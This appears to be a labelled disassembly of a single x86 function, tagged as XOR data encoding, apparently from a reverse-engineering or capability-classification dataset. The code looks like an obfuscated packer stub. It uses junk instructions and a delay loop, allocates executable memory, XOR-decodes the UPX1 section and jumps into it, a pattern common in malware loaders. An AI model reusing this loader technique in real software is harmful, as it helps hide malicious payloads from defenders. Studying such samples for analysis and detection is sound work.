Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb4a4bbd5
inc ecx
inc edi
popal
add ecx, 0x30f03c
not edi
mov ecx, 0xf46258aa
mov esi, 0
mov ecx, edi
mov edx, 0x24760a30
mov eax, 0xe1ca889
mov ebx, ecx
not eax
and eax, eax
mov edi, ebx
add edx, eax
sub edx, eax
add eax, 0x16e9f35f
inc esi
add eax, 1
mov edx, eax
cmp esi, 0x1002344
jne 0x47afd3
mov edx, eax
inc eax
and edx, eax
cmp esi, 0x1002344
je 0x47b01a
mov ecx, 0
mov dword [ecx], edx
inc edx
mov eax, edx
not edi
dec edi
or ecx, ecx
mov eax, 0x47ada2
mov edx, 0xbfcf7d24
sub ebx, edx
mov ecx, 0x47af96
mov ebx, esi
and esi, edx
and ebx, edx
mov edi, dword [eax]
inc edx
or ebx, ebx
add edx, 0x5cd55143
and edi, 0xff
sub edx, ebx
and edx, edx
xor dword [ecx], edi
add ebx, 0x5d9c6a87
add edx, esi
dec esi
inc ecx
or ebx, edx
sub edx, esi
add ebx, ebx
add eax, 1
and edx, ebx
inc ebx
sub esi, 0x753cef13
cmp ecx, entry0
jl 0x47b039
mov esi, 0xfc69851e
dec ebx
sub esi, 1
or ebx, esi
sub esi, 0xa7392112
and ecx, ebx
sub edi, ecx
not esi
mov edx, 0x47af9a
add edi, 0x10fc2548
add ecx, esi
mov ecx, esi
mov edx, dword [edx]
inc esi
sub ecx, 0xf42d2faf
dec edi
mov edx, dword [edx]
add ebx, 1
sub esi, 1
push edx
mov ebx, esi
sub ecx, ebx
add esi, esi
mov edx, 0x47af96
or edi, edi
dec ebx
mov edx, dword [edx]
mov ebx, edi
inc ecx
not ecx
mov edx, dword [edx]
sub ecx, edi
sub ebx, ecx
push 0x47af9e
mov esi, 0xc9762855
mov edi, ecx
call edx
inc ecx
not edi
add ebx, ebx
pop edx
or edi, esi
and ecx, ebx
and ecx, ebx
push 0x47afab
dec edi
or ecx, ebx
sub esp, 4
mov dword [esp], eax
and esi, esi
mov esi, edi
call edx
sub ebx, 0x8dace9ab
mov edi, ecx
and ecx, ecx
push 0x40
add ebx, 0x3881b154
add esi, 0xdf852dcc
mov ebx, esi
sub esp, 4
mov dword [esp], 0x3000
mov edi, 0x20e772d6
dec ecx
sub esp, 4
mov dword [esp], 0x20000da6
inc edi
sub ebx, 0x8d10ad5c
push 0
or ecx, ecx
mov esi, ecx
call eax
sub edi, ebx
inc ebx
sub esi, 1
add eax, 0x20000d30
or esi, ecx
or edi, ebx
mov edx, 0xcba2e0db
add edi, 0x95f3edc7
or esi, esi
and edi, ecx
mov dword [eax], edx
add ebx, edi
not ebx
mov edx, dword [eax]
or ebx, edi
mov edi, ecx
mov esi, edi
cmp edx, 0xcba2e0db
je 0x47b18e
mov eax, 0
mov byte [eax], dl
sub ebx, 0xd3c24bf4
mov ecx, ebx
not ebx
add esi, 0x28638016
or ebx, ebx
inc ecx
mov ecx, 0xd442a3d4
mov ebx, section.UPX1
and edi, ecx
add ecx, 1
mov eax, 0x47ada1
inc ecx
sub ecx, edi
add edi, edi
mov esi, 0
and ecx, edi
sub edi, ecx
add edi, ecx
mov edx, 0x47ada2
mov edi, ecx
not edi
and edi, edi
lea edx, [esi + edx]
not edi
sub ecx, 0x225c59d2
mov edx, dword [edx]
inc ecx
dec edi
mov ecx, edi
and edx, 0xff
sub ecx, 0x259db640
mov ecx, 0x1159e5e5
or edi, ecx
inc esi
mov ecx, 0xa392a38d
dec ecx
inc edi
cmp esi, 0x1f4
jne 0x47b20c
mov esi, 0
or ecx, edi
sub edi, 0xa63530ec
mov edi, 0x81adb389
and edi, ecx
add ecx, ecx
inc ecx
xor dword [ebx], edx
mov ecx, 0x29343848
not ecx
add ebx, 2
or ecx, ecx
add edi, 1
cmp ebx, eax
jl 0x47b1c8
not ecx
mov ecx, 0x6e33f5a6
add ecx, ecx
or edi, ecx
mov edx, section.UPX1
not ebx
add ebx, esi
add ebx, 0x1729b429
mov edi, section.UPX1
dec esi
mov ebx, 0x818f491e
not ebx
mov ecx, 0x47ada1
or ebx, esi
add esi, 0xf1026966
mov eax, 0
add esi, ebx
mov esi, 0x8330a8d7
mov al, byte [edi]
mov ebx, 0x1761942f
sub esi, ebx
mov ebx, 0x705baedf
mov byte [edx], al
add esi, 1
mov esi, ebx
mov esi, 0x91c1eba5
inc edx
sub esi, ebx
mov esi, ebx
add esi, esi
add edi, 2
and ebx, esi
add ebx, 1
not esi
cmp edi, ecx
jle 0x47b27d
mov ebx, 0xbf17c7ee
and esi, esi
and edi, edi
add edi, 0xaa258bbb
dec ecx
push 0x45e6a0
add edi, 0xb9480aa7
sub edi, 0xd20a14a3
sub ecx, 0x81e49742
ret